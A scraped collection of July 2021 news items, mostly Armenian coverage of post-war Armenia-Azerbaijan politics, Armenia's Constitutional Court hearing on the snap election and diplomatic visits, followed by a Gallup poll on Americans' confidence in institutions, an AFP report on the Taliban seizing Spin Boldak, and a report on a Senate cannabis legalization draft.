TAIK, a business organization affiliated with the Turkish government, paid the company nearly $3.9 million in 2018. It also paid the same company $300,000 in 2019 and over $800,000 in 2020.

TAIKs chairman, Turkish businessman Mehmet Ali Yalcindag, helped negotiate a deal for Trumps properties in Turkey.
Zangeneh: OPEC+ can't ignore Iran's return

Charles Michel: EU can help with demarcation of Armenia-Azerbaijan border at level of experts

Gunshots heard in central Yerevan again

Aliyev continues to 'feed' Europe with talks about peace

Residents of Armenia's Kajaran launch petition demanding the release of their mayor

German Chancellor visits one of the regions most affected by flooding

Magnitude 5.7 quake hits Iran's Fars Province

Armenia Special Investigation Service issues statement on Goris mayor Arush Arushanyan

Funeral of Karabakh hero Artur Aghasyan held in Martuni

Armenia's newly elected parliament to hold first session on July 26

Armenia acting PM hosts CEO of Flagship Pioneering and Moderna Therapeutics Noubar Afeyan

37-year-old citizen of Armenia parks car and jumps off bridge

Armenian analyst on Turkish-Azerbaijani tandem's pressure on Armenia and Russia's and Turkey's presence

168.am reports on the judges of Armenia Constitutional Court who supported or were against decision on elections

5.1 magnitude earthquake hits California's north coast

Armenian human rights activist on the opposition and the Constitutional Court's decision on snap elections

Araghchi: Vienna talks have to wait until next Iranian government takes charge

Florida man hits live alligator and tries to throw it onto buildings roof

132 new cases of COVID-19 confirmed in Armenia

Three-headed baby born in India

Opposition party to appeal Armenia Constitutional Court's decision on snap elections in ECHR

One nation, 3 states: Azerbaijan delegation in Northern Cyprus for first time

Assad inauguration held in Syria

POWs who returned to Armenia from Azerbaijan are questioned

Two more members of opposition Armenia bloc apprehended

Pashinyan: Strengthening the Armenia southern regions resistance is one of EU 2.6bn assistance programs

Armenia acting PM: We are ready to start negotiations according to OSCE Minsk Groups co-chairs statement

Germany floods death toll rises to more than 130

Charles Michel: Useful to be able to withdraw Armenian, Azerbaijani armed forces from disputed territories

Adjacent areas closed off before European Council President leaves Armenia government building

Armenia Police: 16 people apprehended today from outside government building

Acting premier: Azerbaijan refuses to provide corridor to Armenia

Pashinyan: Armenia-EU contacts have never been so intense

Netherlands Armenian organizations demand explanation from their MFA over Dutch ambassador's visit to Shushi

Tight surveillance outside Armenia government building, several people apprehended

Five new cases of coronavirus reported in Karabakh

European Council President visits Armenian Genocide Memorial in Yerevan

911 motorcycles to serve on Yerevan streets

Police apprehend opposition Armenia bloc member

Armenia President condoles with Germany colleague

Taliban stepping up attacks in Afghanistan, says US intelligence

187 new cases of COVID-19 confirmed in Armenia

Captain Artur Aghasyan posthumously awarded highest title of Hero of Artsakh

California physician charged with selling fake Covid immunization pellets

Biden to meet with Iraq PM

Armenia citizens can enter Georgia through 2 checkpoints

Armenia soldier, 20, dies

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Eiffel Tower reopens to visitors after nearly 9 months

'Bloodthirsty vampire' arrested in Kenya

There are 21615 people or 5,448 families displaced from Nagorno-Karabakh

Lavrov says US mission in Afghanistan failed

Azeri parliamentary group in occupied Northern Cyprus to commemorate 47th anniversary of Turkish troops' landing

Vietnam calls on Washington to lift Cuba embargo

Germany declares regime of military catastrophe due to flooding

Armenia Ambassador, Russia Deputy FM discuss provision of international humanitarian aid to Karabakh

Sputnik Armenia: 2 missing Armenian servicemen find themselves in territory under control of Azerbaijan Armed Forces

Karabakh Ombudsman: People of Artsakh have never lived and can never live in peace with Azerbaijan

Remains of former Armenian footballer found

Armenia acting PM introduced to businessman's newly opened brandy factory

Armenia ex-deputy MOD: If Pashinyan is still in power after November 9, 2020, it means he has unfinished business

Armenia Chamber of Advocates holds 3rd meeting to provide legal aid to Armenian captives in Azerbaijan

European Council President Charles Michel arrives in Armenia

Yerevan court to announce decision on pre-trial measure against Sisian mayor tomorrow

Alexander Lapshin on Yerkir.am's article about his talks with journalist, Armenia acting PM and ex-spokesperson

Young members of ARF-D protesting against EU representative's visit to Armenia

Lukashevich at OSCE: Assistance in future solution to Nagorno-Karabakh issue in South Caucasus is required

Digest: Azerbaijan opens fire near Armenia border, EU to lift restrictions for Armenian citizens?

Opposition 'Armenia' bloc member: Law-enforcement authorities need to explore disclosure of Lapshin-Karapetyan talk

Armenia acting PM receives Deputy Chief of General Staff of Russia Armed Forces

Armenias Karahunj village head testified against Goris city mayor, says lawyer

Armenian National Committee addresses letter to Belgian FM condemning Ambassadors visit to Shushi

Dollar goes down again Armenia

Azerbaijan starts construction of tunnels in Karabakh occupied territories

Armenia Prosecutor General's Office charges head of Lori Province's Jrashen village with abuse of official powers

Armenia ambassador to Indonesia, Malaysia, Singapore is recalled

At least 70 people die in Germany and Belgium due to floods

Armenia ambassador to US to now serve as envoy to UK

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Armenia funeral commission set up in connection with Djivan Gasparyan's passing

Mayor of Armenias Goris to be arrested

European Council chief's Armenia visit agenda is announced

Beijing urges WHO to investigate theory that COVID-19 was imported to Wuhan

2022 US federal budget envisages $950K for Glendale Armenian museum, says Congressman Schiff

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Azerbaijan setting up new military unit in occupied Aghdam of Artsakh

1,200 apartments to be built in capital Stepanakert, 20 new districts to be constructed in Karabakh villages

Reuters photojournalist killed in Afghanistan

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About 20,000 translators from Afghanistan in US apply for evacuation

MOD: Azerbaijan army opened fire on Armenia positions

Turks open fire at Cyprus Coast Guard ship

162 new cases of COVID-19 confirmed in Armenia

US State Department responds to questions related to Nagorno-Karabakh conflict

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Biden says US not planning on sending troops to Haiti after assassination of its president

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Newspaper: New developments occur in case on dishonoring of Armenian soldiers' remains
Fr. Shahe Ananyan, Director of the Inter-Church relations Department of the Mother See of Holy Etchmiadzin, commented, in an interview with Armenpress, on the false announcements made by the Grand Mufti of Azerbaijan, Chairman of the Caucasus Muslims Board Allahshukur Pashazadeh, as well as spoke about a possible meeting between the Catholicos of All Armenians, the Chairman of the Caucasus Muslims Board, and the Patriarch of All Russia.

How would you comment on the statements of Allahshukur Pashazadeh, the chairman of the Caucasus Muslims Board, made in Shushi [city of Artsakh (Nagorno-Karabakh)] about the [citys] St. Ghazanchetsots [Armenian] Church that it's allegedly of non-Armenian origin?

We learned from the media about the yet another false announcements made by Chairman of the Caucasus Muslims Board Allahshukur Pashazadeh before the representatives of various religious denominations of Azerbaijan What can we say? It is a style typical of Pashazadeh, to interpret facts according to their own interests and perceptions. Avoiding making judgments about the occupation of the most part of the territory of Artsakh, leaving thousands of families without shelters, desecration and destructions of religious-cultural values of the Artsakh Diocese [of the Armenian Apostolic Church], Pashazadeh again referred to the so-called Aghvan-Udi church [i.e., Caucasian Albania] and its false agenda of religious-cultural values.

Its known that there is an official format of trilateral meetings between the Catholicos of All Armenians, the Chairman of the Caucasus Muslims Board, and the Patriarch of All Russia, in the sidelines of which a declaration also has been signed on the peaceful settlement of Nagorno-Karabakh conflict. Does that format still exist? Is it possible that new meetings and discussions are held in that format?

There is an official format of trilateral meetings between the Catholicos of All Armenians, the Chairman of the Caucasus Muslims Board, and the Patriarch of All Russia, where the religious leaders have discussed the opportunities of finding ways for a peaceful settlement of the Artsakh conflict, and naturally, many other issues related with it, too. Still during the military operations [last year in Artsakh] the Catholicos of All Armenians had sent a separate letter to Patriarch Kirill [of Russia], expressing his readiness to meet with the leader of the Caucasus Muslims in a trilateral format aimed at fostering the restoration of the ceasefire and regional peace.

After the 44-day war, the Catholicos of All Armenians had sent an official letter to Patriarch Kirill, so that he could leave for Bakuunder Patriarch Kirills mediationto meet with Azerbaijani president Ilham Aliyev and Pashazadeh for discussing the issues of returning the Armenian POWs, as well as the preservation of our religious-cultural heritage in the territories that have passed under the Azerbaijani control.

As for the statement of the Sheikh ul-Islam [Allahshukur Pashazadeh] about his willingness to meet under the UN auspices, this is a result of misunderstanding. The Catholicos of All Armenians answered to the proposal of the UN representative in the USA about meeting with the Azerbaijani Sheikh [Pashazadeh] that [Patriarch] Kirill has already agreed to hold such a meeting in Moscow.
Acting Prime Minister Nikol Pashinyan of Armenia on Wednesday sent a congratulatory message to President Emmanuel Macron of France on the latters National Day. The message reads as follows, in part:

It is undeniable that as underpinned by common values and a centuries-old friendship, the Armenian-French bilateral relations stand out by their privileged character. The privileged political dialogue between our two countries allows us to successfully cooperate on many programs and issues of mutual interest.

In the context of the tragic events that took place last year, Armenia sincerely appreciates the unbiased position of friendly France and the assistance provided to Armenia and Artsakh [(Nagorno-Karabakh)]. Once again, France and the French people backed us in this difficult historical period.

Armenia highly values you countrys strong commitment, as a Minsk Group co-chair, to brokering a peaceful settlement of the Nagorno-Karabakh conflict. We appreciate Frances efforts to return Armenian prisoners of war from Azerbaijan and safeguard the Armenian cultural heritage in Nagorno-Karabakh.

I look forward to hosting you in Armenia in the near future as part of a state visit.
YEREVAN.  Acting Prime Minister Nikol Pashinyan on Wednesday introduced the newly appointed chairman of the Investigative Committee of Armenia, Argishti Kyaramyan, to the board members and staff of this committee, the Prime Minister's Office informed Armenian News-NEWS.am.

First, Pashinyan thanked the now former chairman of the Investigative Committee, Hayk Grigoryan, for his respective work over the past three years.

Subsequently, the acting premier congratulated Argishti Kyaramyan on his appointment as Chairman of the Investigative Committee. "After the snap parliamentary elections of June 20, 2021, we are entering a new phase, and the peculiarity of this phase is the following: Citizens of the Republic of Armenia have given a mandate to the authorities to establish a dictatorship of law and order in the Republic of Armenia. In the new conditions, I expect more effective actions, more decisive actions, and more special actions from the Investigative Committee to meet the people's expectations," Nikol Pashinyan said, in particular.
The election results do not reflect the will of the people. The representative of the opposition "Armenia" blocled by second resident Robert Kocharyanlawyer Aram Vardevanyan, stated this Wednesday in his closing remarks at the hearing of the Constitutional Court, and regarding the results of the snap parliamentary on June 20.

He reminded that unlike other courts, the Constitutional Court is the only court that can find out the whole context of the elections. Vardevanyan stressed that it turned out that the November 9, 2020 document, which assumes thousands of casualties, loss of the homeland, difficult internal political situation, played a key role in that context.

"It has not been safe in the Republic of Armenia since November 9. Citizens are not safe. Our borders are not inviolable. That case is still being investigated, and we know that the enemy [i.e., Azerbaijan] may infiltrate our borders. Consequences are important in context disclosure. And they are the following: The [acting] prime minister [Nikol Pashinyan] has in fact turned into the one-man ruler who has usurped even the powers of the president," said Vardevanyan.

He reminded that this circumstance was mentioned in their petition, and it was not rejected. According to him, it could also have happened under pressure, and as an example he mentioned the fact that when the President returned the decision of the Prime Minister to dismiss a high-ranking military man, he was threatened with impeachment. "In these conditions, it is naive to talk about the lack of pressure," Vardevanyan added.

He referred also to the abuse of administrative resources, which violated the principle of level playing field in elections. "There is a lot of talk about whether the prime minister could have remained as acting after his resignation. Why did he decide to continue after resigning?" he asked.

Speaking about the consistency of the authorities, he reminded that there was such a precedent in 1998, when the first president had resigned. "It meant resignation, as in any normal country. Something else happened here by using administrative resources," the lawyer continued.

According to him, it was not possible to submit to the Constitutional Court the full amount of bonus pays, but it is about the billions that were paid after May 10, it is obvious that there is no coincidence here. At the same time, mechanisms of pressure were used on the members of the [Armenia] bloc, hundreds of people were apprehended. There are criminal cases, but there are no defendants. The law enforcement system is not independent, said Vardevanyan.

According to him, the aggressive rhetoric is not the assessment of the Armenia bloc, but a legal fact which is confirmed by the administrative court. In his view, the behavior of the police also speaks of a lot, when there were leaflets against the "Armenia" bloc all over the capital Yerevan, whereas the police saw only 10 to 20 in one street.

Vardevanyan has an answer to the question voiced in court that 300 thousand fewer voters participated in this and the 2018 elections. According to him, the voters may not have participated in the elections due to aggressive pressure, laying on asphalt, cutting their hands, and similar promises.

"The results of these elections do not reflect the will of the people," he said.

"One force has ruled for three years. The Constitution of Armenia is not about that. The Declaration of Independence is not about that either," Vardevanyan added.

He stressed, however, that the Constitutional Court can change the situation. "We [Armenia] are facing serious challenges today, too. The Constitutional Court has the exclusive power to prevent new disasters, new concessions, unexplained documents and actions. This is not a dispute about the election results. The election results do not reflect the will of the people. The picture we see in the Central Electoral Commission decision [on the election results] is distorted," Vardevanyan said, citing the example of one Jemma Martirosyan whose signature was on the voter list, although she is not in Armenia. "The prosecutors were trying to assure that it is a coincidence. But how many thousands of such coincidences have there been?  Aram Vardevanyan asked.
Chief of Staff of the Prime Minister of Armenia Arayik Harutyunyan today introduced the staff of the Ministry of Foreign Affairs to newly appointed First Deputy Minister of Foreign Affairs Armen Grigoryan [former Secretary of the Security Council], as reported the Office of the Prime Minister.

Harutyunyan expressed gratitude to Deputy Minister of Foreign Affairs Armen Ghevondyan for his work, adding that he was one of the few who expressed willingness to work in a very important and difficult stage in Armenia during the past few months. Harutyunyan also congratulated Grigoryan on assuming office and stated the following: Due to the events that took place last year, the Ministry of Foreign Affairs plays a major role in Armenia and abroad. I am certain that you will perform your duties with honor and meet the objectives that the people set forth for the government with the elections held on June 20 and the objectives set forth by the government.

Greeting the attendees, Grigoryan said the following: To a great extent, the Ministry of Foreign Affairs was in contact with the Security Council, and I would like to express gratitude for the cooperation. Of course, we will work more intensively starting today. I am certain that we will put in all our efforts to implement the mandate that citizens gave to Civil Contract Party. This will be a very difficult phase, but it will also be a phase in which we will act with honor and responsibility. I am certain that we will work together and achieve results.
Armenian News - NEWS.am presents the daily digest of Armenia-related top news as of 14.07.21:

Armenian soldier has been killed during an exchange of fire on the Armenia-Azerbaijan border.

An incident occurred at the Yeraskh village section of the Armenian-Azerbaijani border on Wednesday at around 10:30 am.

The units of the Azerbaijani armed forces tried to carry out fortification works using engineering equipment to advance their combat positions.

After the Armenian sides counteractions aimed at stopping the works, the Azerbaijani servicemen opened fire in the direction of the Armenian positions.

The Azerbaijani side also has casualties.

An Armenian man lost his foot after exploding on a mine in Martuni region of Artsakh (Nagorno-Karabakh).

The incident took place during a search for the bodies of servicemen in Martuni region. When the man exploded on the mine, representatives of the Russian peacekeeping contingent were the first to provide medical assistance.

The Russian soldiers escorted the Armenian driver to the hospital in Martuni and then to Stepanakert where the man underwent a surgery.

The man, who lost his foot as a result of the explosion, is still in the hospital and is in stable condition.

Azerbaijan is turning the Armenian Green Church in Shushi into an Orthodox church, Foreign Minister of Artsakh (Nagorno-Karabakh) Davit Babayan told Armenian News-NEWS.am.

The Green Church is one of the oldest Armenian churches of Shushi and the second name of the city.

"Our priests are captives there. They cant leave since they wont be allowed to come back," he said. "Whereas the Azerbaijanis destroyed all Armenian monuments in Nakhchivan, they wont be able to do this in Artsakh since there are Russian peacekeepers, and this makes things complicated."

The National Security Service (NSS) special forces and police officers entered the administrative building of the Zangezur Copper and Molybdenum Combine of Armenia Wednesday morning, and apprehended several employees.

The respective footage shows how they apprehend one of these employees, and do not respond when asked where he was being taken and why.

The employees were dragged in for questioning. It is not clear what the reason for their being taken in for questioning is.

Hakobyan reminded that more than 70 wagon cars filled with mineral are stopped, and if this continues, there will be no place to store the copper concentrate.

For a week now, numerous citizens of foreign countries are being vaccinated against coronavirus with AstraZeneca vaccine at the mobile points of Armenia.

The vast majority of these foreigners are Iranians. COVID-19 inoculations are administered in Iran, too, but priority there is given to people over 75.

Fifty people are vaccinated daily at the mobile spot of Northern Avenue.

The US has included Armenia in the Level 2: Moderate group with regard to the improvement of the epidemiological situation.

Nevertheless, US citizens must get vaccinated before visiting Armenia.

Unvaccinated travelers who are at increased risk for severe illness from COVID-19 should avoid nonessential travel to Armenia, the Centers for Disease Control and Prevention report.

As of Wednesday morning, 159 new cases of the coronavirus were confirmed in Armenia, and the total number of these cases has reached 226,756 in the country.

Also, three more deaths from COVID-19 were registered, making the respective total 4,552 cases.

Acting Prime Minister of Armenia Nikol Pashinyan today had a phone talk with US Secretary of State Antony Blinken at the initiative of the latter.

The American side congratulated Nikol Pashinyan on Civil Contract Partys victory in the elections.

The Secretary of State assured that the US will continue to make efforts to ensure the return of all POWs. Touching upon the Nagorno-Karabakh conflict, Blinken said it is extremely important to restore the activities of the OSCE Minsk Group Co-Chairs and underscored the need for development of a clear-cut agenda for the peace process.
Acting Prime Minister of Armenia Nikol Pashinyan today received Sheikh Abdullah Bin Mohammad Al Thani, Chairman of the Board of Directors of Air Arabia.

Pashinyan attached importance to the fact that the Armenian National Interests Fund and Air Arabia (the largest air carrier of the Middle East and North Africa) signed an agreement on the establishment of a new Armenian national airline company today after months of close and consistent negotiations. Pashinyan added that the government is ready to support the fruitful activities of the airline company with its toolkit.

The chairman of Air Arabias Board of Directors expressed confidence that the foundation of an Armenian national air carrier and the organizing of flights to new destinations will give a new impulse to the development of the Armenian aviation market. The chairman added that Air Arabia views Yerevan as an interesting opportunity for expansion of air communication.

Pashinyan wished Air Arabia success and mentioned that citizens of Armenia view the organizing of air communication with low tariffs as a wider opportunity for travel and selection of services.
President of Azerbaijan Ilham Aliyev takes advantage of every appropriate and inappropriate occasion to reiterate statements about returning to native lands.

According to Azerbaijani presses, another occasion was the ceremony of handing of apartments and cars to the families of deceased servicemen.

The Eastern Zangezur economic zone has been created. Now Armenia is hysterical. There is no point in being hysterical since Eastern Zangezur is our historic land, as well as Western Zangezur. We cant forget the history. We cant become hostage to the political interests of anyone. Let them come and look at the historical documents and maps, and they will see when the Soviet government ripped Zangezur from Azerbaijan and gave it to Armenia. This isnt an old story. It happened 101 years ago. Were telling the truth, Aliyev declared. The reminder about documents and maps is particularly valuable. All the necessary maps are printed in Azerbaijan, and in those maps, not only Zangezur, but also almost the two poles of the Earth historically belong to Azerbaijan.

Yes, Western Zangezur is the land of our forefathers and ancestors. I have said that we need to return to the land, and we will return, and we are returning. Nobody can stop us. We will definitely return since there is no other path. After opening all the communication routes, we will return, and the Azerbaijanis will return to the lands of their ancestors. The trilateral statement of November 10 states that all the refugees need to return to their native lands. Our native land is Zangezur, our native lands are Gyoycha, Irevan. Of course, we will return, Aliyev promised.

However, Azerbaijans historians are speaking out and saying how Aliyev discovered a homeland in Irevan.
I have never been inclined to provide any information about captives in advance because all the news that is being circulated, including official statements may harm the process of return of captives until they are returned. This is what acting Deputy Prime Minister of Armenia Tigran Avinyan told reporters today.

Touching upon the negotiations over the unblocking of links, Avinyan stated that there is progress and added that he hopes Armenia succeeds in reaching some agreements.

Asked how he would assess the fact that a person who is not from the diplomatic corps has been appointed First Deputy Foreign Miinster, Avinyan said the following: In reality, there is a need to appoint a politician to a position in the Ministry of Foreign Affairs and to establish some relationship between the diplomatic corps and the political leadership in order to settle the differences, to a certain extent. I believe this is, in some sense, a good appointment.
The Armenian community of Greece has sent a note of protest to Foreign Minister Nikos Dendias in regard to the visit of Ambassador of Greece to Azerbaijan Nikolaos Piperigos to Shushi in Artsakh (Nagorno-Karabakh)

The Armenian National Committee of Greece has sent an open letter to Dendias stating the following:

Dear Minister,

With surprise and great discomfort we learned of the participation of the Ambassador of Greece to Azerbaijan Mr. Nikolaos Piperigkou in a provocative celebration organized by the Aliyev regime and included other diplomats accredited in Azerbaijan in the occupied Armenian city of Shushi in Artsakh.

Following literally Ankaras demands and similar provocative celebrations organized by [Turkish President] Erdogan in occupied Cyprus, the President of Azerbaijan invited representatives of states to celebrate with him.

To celebrate what?

The hateful work of Azerbaijan that continues to violate the agreements and invade the sovereign territory of Armenia?

Or to honor a dictator who still illegally holds Armenian soldiers and civilian captive after the end of the catastrophic war in Artsakh (Nagorno-Karabakh)?

It was no coincidence that the countries of the Minsk Group (Russia, the United States and France), as well as Germany and the United Kingdom, refused to abstain from the shameful visit, which was intended to disorient public opinion from the horrific crimes of Azerbaijan and the European Parliaments resolution, which on May 20 by an overwhelming majority set a strong framework, criticizing Azerbaijan for its criminal practices against Armenia and Artsakh.

Unfortunately, the whole event had multiple messages, to which Greece should be the first to react, since the celebration was organized inside the sanctuary of the historic Gazanchetsots Church, with a decayed dome and vandalized conversions reminiscent of similar practices applied in the case of Hagia Sophia in Constantinople.

We believe that the presence of the representatives of the states, but mainly of Greece, encourages the outrageous and arrogant regime of President Aliyev.

The Armenian National Committee, as well as the Armenian Community of Greece as a whole, express their strong dissatisfaction with the participation of the representative of our country in this parody.

You know very well that Azerbaijan, by faithfully copying its mentor, is grossly violating the rules of international law. What is the purpose of the support provided by Greece in this critical time?

Armenia considers Greece as her most important ally. We want to believe that the same is true for Greece.
Story Highlights 33% average confidence in 14 major institutions, down from 36% in 2020

Public schools, medical system down after double-digit increases in 2020

Small business, military elicit the most confidence; Congress, the least

WASHINGTON, D.C. -- Americans' average confidence in major U.S. institutions has edged down after increasing modestly several months into the coronavirus pandemic last year. Currently, an average 33% of U.S. adults express "a great deal" or "quite a lot" of confidence in 14 institutions, marking a three-percentage-point dip since 2020 and a return to the level seen in 2018 and 2019.

Line graph. Average confidence ratings for 14 institutions since 1993. The 33% average in 2021 is a slight decline from 36% in 2020 and well below the 43% highest on record, seen in the early 2000s.

These findings, from a June 1-July 5 poll, are the latest in Gallup's tracking of the public's confidence in a variety of key U.S. institutions, which began in 1973 during the Watergate scandal. Gallup has tracked 14 core institutions since 1993, and the public's confidence in them has remained relatively low -- particularly over the past 15 years, when the average has not risen above 36%. Before 2006, averages at or above 40% were more common. In addition to the core institutions, Gallup measures confidence in other societal institutions, though with less frequency.

Confidence in Most Institutions Down After Increases in 2020

In 2020, confidence in several specific institutions increased as the nation dealt with the effects of the coronavirus pandemic. These include some of the business and societal sectors most affected by the public health and financial effects of the coronavirus situation, including the medical system, public schools, small business, organized religion and banks. This year, these same five institutions show the greatest decreases in confidence. However, they all are perceived at least slightly better than they were in 2019 before the pandemic. In particular, confidence in the medical system is substantially higher now (44%) than it was two years ago (36%).

Confidence in the U.S. Supreme Court and the criminal justice system are each down four points since 2020 and remain below their 2019 levels. Meanwhile, decreases since last year in Americans' confidence in eight other institutions are not statistically significant. These include the military, technology companies, organized labor, newspapers, television news, the presidency, big business and Congress.

In addition to big business, the police was the only other institution that saw a drop in confidence between 2019 and 2020. Since then, confidence in the police has edged up three points, to a slim 51% majority.

Confidence in Institutions, 2019-2021 % Who have "a great deal" or "quite a lot" of confidence 2019 2020 2021 Change, 2021 vs. 2020 % % % pct. pts. The public schools 29 41 32 -9 The medical system 36 51 44 -7 Small business 68 75 70 -5 The church or organized religion 36 42 37 -5 Banks 30 38 33 -5 The U.S. Supreme Court 38 40 36 -4 The criminal justice system 24 24 20 -4 The military 73 72 69 -3 Technology companies -- 32 29 -3 Organized labor 29 31 28 -3 Newspapers 23 24 21 -3 Television news 18 18 16 -2 The presidency 38 39 38 -1 Big business 23 19 18 -1 Congress 11 13 12 -1 The police 53 48 51 +3 Gallup

Last year's confidence reading for the police, which was taken in the aftermath of George Floyd's killing and the related nationwide protests, was the lowest on record and the first time it was below majority level. While the latest three-point uptick is not statistically significant, the measure remains shy of its 2019 level. Further analysis of the racial differences in confidence in the police is available here.

Line graph. Percentage of Americans who have a great deal or quite a lot of confidence in the police, trend since 1993. The 2021 reading of 51% is three points higher than last year's lowest on record. Though recovered somewhat, 51% is among the lowest ratings for the police.

Overall Confidence Rankings Remain Fairly Stable

The police are one of just three institutions in which a majority of Americans express a great deal or quite a lot of confidence. The other two -- small business and the military -- have consistently ranked at the top of the list since 1989.

At the other end of the spectrum are Congress, television news, big business, the criminal justice system and newspapers, each of which has a confidence rating at or below 21%. Congress or big business has ranked at the bottom of the list since 2007.

The other eight institutions earn middling confidence ratings from the public, ranging from 28% for organized labor to 44% for the medical system.

Bar graphs. Americans' confidence in 16 institutions. Small business, the military, and the police are the only institutions with majorities of Americans expressing a great deal or quite a lot of confidence.

Confidence in Most Institutions Politically Polarized

Majorities of Republicans and Republican-leaning independents, as well as Democrats and Democratic-leaning independents, express confidence in the military and small business. Both party groups express similarly low confidence in the Supreme Court, big business, banks and the criminal justice system.

However, partisans' confidence in the remaining 10 institutions diverges. Republicans have far more confidence than Democrats in the police and the church. Meanwhile, Democrats' confidence in the other eight institutions outpaces Republicans' by double digits.

Partisans' Confidence in 16 U.S. Institutions % With "a great deal" or "quite a lot" of confidence Republicans/Leaners Democrats/Leaners Rep-Dem

difference % % pct. pts. The police 76 31 +45 The church or organized religion 51 26 +25 The military 78 62 +16 Small business 76 64 +12 The U.S. Supreme Court 39 35 +4 Big business 19 17 +2 Banks 35 33 +2 The criminal justice system 20 19 +1 Congress 7 17 -10 Large technology companies 22 34 -12 The medical system 36 50 -14 Television news 6 25 -19 Organized labor 16 39 -23 The public schools 20 43 -23 Newspapers 8 35 -27 The presidency 13 62 -49 GALLUP, June 1-July 5, 2021

The largest partisan gap in confidence for any institution is for the presidency, with 49 points separating Democrats' and Republicans' ratings. Confidence in the presidency has become increasingly linked to the party affiliation of the president, with supporters of the president's party much more confident than supporters of the opposition party, consistent with the greater party polarization in presidential job approval ratings. Between 1993 and 2004, the average party gap in confidence in the presidency was 34 points. Since then, it has averaged 50 points.

Bottom Line

When the coronavirus pandemic hit the U.S. in 2020, it caused great upheaval in most aspects of Americans' lives. It also resulted in an overall uptick in average confidence across 14 institutions, driven largely by sharp one-year increases -- among the largest Gallup has measured -- for the U.S. medical system and public schools. Now, with the worst of the pandemic seemingly over and the intensity of the racial justice protests subsiding, Americans' confidence has retreated to more typical levels seen in recent years.

Average confidence in the 14 institutions Gallup has tracked long-term continues to lag behind where it has been historically. The pandemic thrust many U.S. institutions into the spotlight, and the discussion of these institutions' roles in the pandemic has been controversial at times. Grappling with how to set policies to contain the spread of the pandemic while simultaneously attempting to limit its impact on economic, educational and faith activities has proven challenging.

To stay up to date with the latest Gallup News insights and updates, follow us on Twitter.

View complete question responses and trends (PDF download).

Learn more about how the Gallup Poll Social Series works.
Taliban flags raised after border crossing takeover

People wave Taliban flags as they drive through the Pakistani border town of Chaman after the Taliban claim they've captured the Afghan side of the border crossing of Spin Boldak. Photo: AFP

The Taliban captured the strategic border crossing of Spin Boldak on the frontier with Pakistan on Wednesday, continuing sweeping gains made since foreign forces stepped up their withdrawal from Afghanistan.



Afghanistan's interior ministry denied the insurgents had taken the area even as social media was flooded with pictures of Taliban fighters relaxing in the frontier town.



Residents also told AFP it was in the Taliban's hands.



Spin Boldak is the latest in a string of border crossings and dry ports seized by the Taliban in recent weeks, with the insurgents looking to choke off much-needed revenue from the government in Kabul while also filling their own coffers.



As Kabul's grip over the country appeared to further loosen, former US president George W Bush slammed current White House incumbent Joe Biden's decision to withdraw all troops.



"I'm afraid Afghan women and girls are going to suffer unspeakable harm... They are going to be left behind to be slaughtered by these very brutal people and it breaks my heart," he told German broadcaster Deutsche Welle.



Asked whether he thought the withdrawal was a mistake, Bush replied: "Yes, I think it is."



It was his administration that launched the US invasion into Afghanistan in 2001 that toppled the Taliban government following the September 11 attacks on US soil by Al-Qaeda militants.



Along with his key security advisers, Bush was later blamed for a series of miscalculations in Afghanistan that led to a costly 20-year occupation and the revival of the Taliban movement.



The seizure of the border crossing follows days of heavy fighting across Kandahar province, where the government was forced to deploy commando fighters to prevent the fall of the provincial capital even as the insurgents inched closer to taking the frontier.



In a statement, insurgent spokesman Zabihullah Mujahid assured traders and residents there that their "security is guaranteed".



But Afghan officials insisted they were still in control.



"The terrorist Taliban had some movements near the border area... The security forces have repelled the attack," interior ministry spokesman Tareq Arian told AFP.



Residents disputed the government's claims, however.



"I went to my shop this morning and saw that the Taliban are everywhere. They are in the bazaar, in police HQ and custom areas. I can also hear the sound of fighting nearby," said Raz Mohammad, a shopkeeper who works near the border.



The border crossing is one of the most strategically valuable for the Taliban.



It provides direct access to Pakistan's Balochistan province  where the insurgents' top leadership has been based for decades  along with an unknown number of reserve fighters who regularly enter Afghanistan to help bolster their ranks.



Hours after the crossing fell, an AFP reporter on the Pakistani side saw around 150 Taliban fighters riding on motorcycles, waving insurgent flags, as they demanded to be allowed to cross into Afghanistan.



Balochistan is a favoured destination for fighters regularly heading for medical treatment and hosts many of their families.



A major highway leading from the border connects to Pakistan's commercial capital Karachi and its sprawling port on the Arabian Sea, which is considered a linchpin for Afghanistan's billion-dollar heroin trade that has provided a crucial source of revenue for the Taliban's war chest over the years.



With the United States just weeks away from pulling out its last troops, the Taliban has swept through much of the country, and the government now holds little more than a constellation of provincial capitals that must largely be resupplied by air.



The sheer speed and scale of the insurgents' multi-pronged offensives have stirred fears that Afghan security forces are being overwhelmed.



The yawning catastrophe has also sparked a diplomatic free-for-all with countries trading blame and throwing jabs over the numerous policy blunders made in Afghanistan over the years.



"Russia for several years already talked about a situation like this developing. To call a spade a spade, we foresaw this much earlier," said the Kremlin's envoy for Afghanistan, Zamir Kabulov, in an interview with Russian news agency RIA.



In another sign Western governments were rapidly reassessing their Afghanistan policies, British Defence Secretary Ben Wallace said the United Kingdom was prepared to work with the Taliban if it enters into a power-sharing government.



"Whatever the government of the day is, provided it adheres to certain international norms, the UK government will engage with it," he told the Daily Telegraph.



"All peace processes require you to come to terms with the enemy. Sometimes, that's what it is." (AFP)
Three top Senate Democrats have a draft plan to end the federal ban on cannabis and implement a series of programs to help communities that have been harmed by the war on drugs, which have disproportionately tended to be communities of color.

Senators Chuck Schumer, the majority leader, Ron Wyden of Oregon and Cory Booker of New Jersey announced the reforms early Wednesday. The reforms come as the public has increasingly supported marijuana legalization over the past few years.

"This is monumental because at long last we are taking steps in the Senate to right the wrongs of the failed war on drugs," Schumer said at a news conference Wednesday.

Under their plan, states would be able to write their own cannabis laws and marijuana would be eliminated from the federal list of controlled substances within 60 days of implementation. The bill would shift the regulatory jurisdiction from the Drug Enforcement Agency to the Alcohol and Tobacco Tax and Trade Bureau, the Food and Drug Administration and the Bureau of Alcohol, Tobacco, Firearms and Explosives.

"Cannabis prohibition, a key pillar of the failed War on Drugs, has caused substantial harm to our communities and small businesses, and especially for communities of color," Wyden said. "It's as simple as this: Senators Booker, Schumer and I want to bring common sense to the federal government, end prohibition and restore the lives of those hurt most and set them up for opportunity."

Currently, 18 states, the District of Columbia, Guam and the Commonwealth of the Northern Mariana Islands have legalized recreational marijuana. Thirty-seven states, the District of Columbia, Puerto Rico, Guam and the U.S. Virgin Islands have legalized the medical use of marijuana. A Pew Research poll from April showed that 60% of Americans think marijuana should be legalized for recreational and medical use.

